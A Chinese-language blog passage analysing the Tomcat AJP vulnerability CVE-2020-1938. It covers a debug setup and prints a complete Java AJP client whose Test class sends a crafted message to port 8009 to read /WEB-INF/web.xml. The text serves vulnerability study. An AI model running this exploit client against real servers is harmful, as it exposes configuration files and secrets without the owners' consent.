Apache AJP 协议 CVE-2020-1938 漏洞分析

栏目: IT技术 · 发布时间: 4年前

内容简介：最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。这里使用的是tomcat8.0.52的测试环境，因为tomcat默认开启AJP协议，所以我们这边只需要配置好tomcat的远程debug环境就行。1、找到catalina.sh去定义一下远程调试端口，我这里就使用了默认的5005端口。

引言

最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。

环境搭建

这里使用的是tomcat8.0.52的测试环境，因为tomcat默认开启AJP协议，所以我们这边只需要配置好tomcat的远程debug环境就行。

1、找到catalina.sh去定义一下远程调试端口，我这里就使用了默认的5005端口。

if [ -z "$JPDA_ADDRESS" ]; then
    JPDA_ADDRESS="localhost:5005"
  fi

2、以调试模式开启tomcat，这里不推荐直接改动tomcat的默认启动模式，否则以后都会默认开启调试模式，因此推荐直接以调试模式开启tomcat。

sh catalina.sh jpda start

3、在idea的lib里导入tomcat的jar包，tomcat的jar都放在lib目录下，直接把lib都导进来就行。 Apache AJP 协议 CVE-2020-1938 漏洞分析接下来在idea里开启tomcat的远程调试环境就部署完成。

AJP（Apache JServ Protocol）是定向包协议。它的功能其实和HTTP协议相似，区别在于AJP协议使用的是二进制格式传输文本，走的是TCP协议来SERVLET容器进行通信，因此漏洞的利用就需要依赖于一个客户端，而不能依赖于浏览器或是HTTP的抓包工具。

因为是 java 的漏洞，因此但从网上的py的poc很难看出AJP协议相关的很多东西，所以这里我们再去看一下用于发送AJP消息的java的客户端代码。客户端代码引自 0nise的GitHub 。

目录结构如下，因为代码需要依赖tomcat本身的AJP相关jar包，所以也要加入tomcat的lib， Apache AJP 协议 CVE-2020-1938 漏洞分析

file:TesterAjpMessage.java

package com.glassy.utility;

import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.coyote.ajp.AjpMessage;
import org.apache.coyote.ajp.Constants;
import org.apache.juli.logging.Log;
import org.apache.juli.logging.LogFactory;

public class TesterAjpMessage extends AjpMessage {
    private final Map<String, String> attribute = new LinkedHashMap();
    private final List<Header> headers = new ArrayList();
    private static final Log log = LogFactory.getLog(AjpMessage.class);

    private static class Header {
        private final int code;
        private final String name;
        private final String value;

        public Header(int code, String value) {
            this.code = code;
            this.name = null;
            this.value = value;
        }

        public Header(String name, String value) {
            this.code = 0;
            this.name = name;
            this.value = value;
        }

        public void append(TesterAjpMessage message) {
            if (this.code == 0) {
                message.appendString(this.name);
            } else {
                message.appendInt(this.code);
            }
            message.appendString(this.value);
        }
    }

    public TesterAjpMessage(int packetSize) {
        super(packetSize);
    }

    public byte[] raw() {
        return this.buf;
    }

    public void appendString(String str) {
        if (str == null) {
            log.error(sm.getString("ajpmessage.null"), new NullPointerException());
            this.appendInt(0);
            this.appendByte(0);
        } else {
            int len = str.length();
            this.appendInt(len);

            for(int i = 0; i < len; ++i) {
                char c = str.charAt(i);
                if (c <= 31 && c != '\t' || c == 127 || c > 255) {
                    c = ' ';
                }

                this.appendByte(c);
            }

            this.appendByte(0);
        }
    }

    public byte readByte() {
        byte[] bArr = this.buf;
        int i = this.pos;
        this.pos = i + 1;
        return bArr[i];
    }

    public int readInt() {
        byte[] bArr = this.buf;
        int i = this.pos;
        this.pos = i + 1;
        int val = (bArr[i] & 255) << 8;
        bArr = this.buf;
        i = this.pos;
        this.pos = i + 1;
        return val + (bArr[i] & 255);
    }

    public String readString() {
        return readString(readInt());
    }

    public String readString(int len) {
        StringBuilder buffer = new StringBuilder(len);
        for (int i = 0; i < len; i++) {
            byte[] bArr = this.buf;
            int i2 = this.pos;
            this.pos = i2 + 1;
            buffer.append((char) bArr[i2]);
        }
        readByte();
        return buffer.toString();
    }

    public String readHeaderName() {
        byte b = readByte();
        if ((b & 255) == 160) {
            return Constants.getResponseHeaderForCode(readByte());
        }
        return readString(((b & 255) << 8) + (getByte() & 255));
    }

    public void addHeader(int code, String value) {
        this.headers.add(new Header(code, value));
    }

    public void addHeader(String name, String value) {
        this.headers.add(new Header(name, value));
    }

    public void addAttribute(String name, String value) {
        this.attribute.put(name, value);
    }

    public void end() {
        appendInt(this.headers.size());
        for (Header header : this.headers) {
            header.append(this);
        }
        for (Entry<String, String> entry : this.attribute.entrySet()) {
            appendByte(10);
            appendString((String) entry.getKey());
            appendString((String) entry.getValue());
        }
        appendByte(255);
        this.len = this.pos;
        int dLen = this.len - 4;
        this.buf[0] = (byte) 18;
        this.buf[1] = (byte) 52;
        this.buf[2] = (byte) ((dLen >>> 8) & 255);
        this.buf[3] = (byte) (dLen & 255);
    }

    public void reset() {
        super.reset();
        this.headers.clear();
    }
}

这个TesterAjpMessage.java文件就是一个tomcat本身用来处理AJP协议信息的AjpMessage类的子类，因为AjpMessage只支持发送bytes信息的缘故，代码丰富了TesterAjpMessage子类，使我们在构造客户端的时候支持appendString以及对Header的相关操作，更加方便。

file:SimpleAjpClient.java

import java.io.IOException;
import java.io.InputStream;
import java.net.Socket;
import java.util.Arrays;
import javax.net.SocketFactory;

public class SimpleAjpClient {
    private static final byte[] AJP_CPING;
    private static final int AJP_PACKET_SIZE = 8192;
    private String host = "localhost";
    private int port = -1;
    private Socket socket = null;

    static {
        TesterAjpMessage ajpCping = new TesterAjpMessage(16);
        ajpCping.reset();
        ajpCping.appendByte(10);
        ajpCping.end();
        AJP_CPING = new byte[ajpCping.getLen()];
        System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen());
    }

    public int getPort() {
        return this.port;
    }

    public void connect(String host, int port) throws IOException {
        this.host = host;
        this.port = port;
        this.socket = SocketFactory.getDefault().createSocket(host, port);
    }

    public void disconnect() throws IOException {
        this.socket.close();
        this.socket = null;
    }

    public TesterAjpMessage createForwardMessage(String url) {
        return createForwardMessage(url, 2);
    }

    public TesterAjpMessage createForwardMessage(String url, int method) {
        TesterAjpMessage message = new TesterAjpMessage(8192);
        message.reset();
        message.getBuffer()[0] = (byte) 18;
        message.getBuffer()[1] = (byte) 52;
        message.appendByte(2);
        message.appendByte(method);
        message.appendString("http");
        message.appendString(url);
        message.appendString("10.0.0.1");
        message.appendString("client.dev.local");
        message.appendString(this.host);
        message.appendInt(this.port);
        message.appendByte(0);
        return message;
    }

    public TesterAjpMessage createBodyMessage(byte[] data) {
        TesterAjpMessage message = new TesterAjpMessage(8192);
        message.reset();
        message.getBuffer()[0] = (byte) 18;
        message.getBuffer()[1] = (byte) 52;
        message.appendBytes(data, 0, data.length);
        message.end();
        return message;
    }

    public void sendMessage(TesterAjpMessage headers) throws IOException {
        sendMessage(headers, null);
    }

    public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException {
        this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen());
        if (body != null) {
            this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen());
        }
    }

    public byte[] readMessage() throws IOException {
        InputStream is = this.socket.getInputStream();
        TesterAjpMessage message = new TesterAjpMessage(8192);
        byte[] buf = message.getBuffer();
        int headerLength = message.getHeaderLength();
        read(is, buf, 0, headerLength);
        int messageLength = message.processHeader(false);
        if (messageLength < 0) {
            throw new IOException("Invalid AJP message length");
        } else if (messageLength == 0) {
            return null;
        } else {
            if (messageLength > buf.length) {
                throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]");
            }
            read(is, buf, headerLength, messageLength);
            return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);
        }
    }

    protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException {
        int read = 0;
        while (read < n) {
            int res = is.read(buf, read + pos, n - read);
            if (res > 0) {
                read += res;
            } else {
                throw new IOException("Read failed");
            }
        }
        return true;
    }
}

SimpleAjpClient便是发送AJP消息的客户端代码，支持服务端的连接与断开，支持对AJP消息头和消息体的构造。

关于整个AJP消息的消息头消息体怎么构造，消息头里面的code的值又是怎样额对应关系可以去参考 AJP协议总结与分析

漏洞分析

先看一下发送的恶意AJP消息包是怎么构造的，

file:Test.java

import com.glassy.utility.SimpleAjpClient;
import com.glassy.utility.TesterAjpMessage;

import java.io.IOException;
import javax.servlet.RequestDispatcher;

public class Test {
    public static void main(String[] args) throws IOException {
        SimpleAjpClient ac = new SimpleAjpClient();
        String host = "localhost";
        int port = 8009;
        String uri = "/aaa.jsp";
        String file = "/WEB-INF/web.xml";
        ac.connect(host, port);
        TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");
        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);
        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");
        forwardMessage.end();
        ac.sendMessage(forwardMessage);
        while (true) {
            byte[] responseBody = ac.readMessage();
            if (responseBody == null || responseBody.length == 0) {
                ac.disconnect();
            } else {
                System.out.print(new String(responseBody));
            }
        }
    }
}

从构造的AJP消息包里可以看到，关于AJPMessage的核心内容有host、port、INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH，我们暂且在这里记下来，等我们打上断点的时候再去服务端看一看这些东西都是干什么的。

这个时候该开始思考动态调试的问题了，不同于以往的rce漏洞（统一往ProcessBuilder的start函数上打），关于断点往哪打就成了第一个关键的问题，我这边的处理方式是因为客户端代码里面使用了AjpMessage类，所以我就去看了一下这个类所在的jar包，果然就找到了tomcat的lib里负责处理AJP协议的类，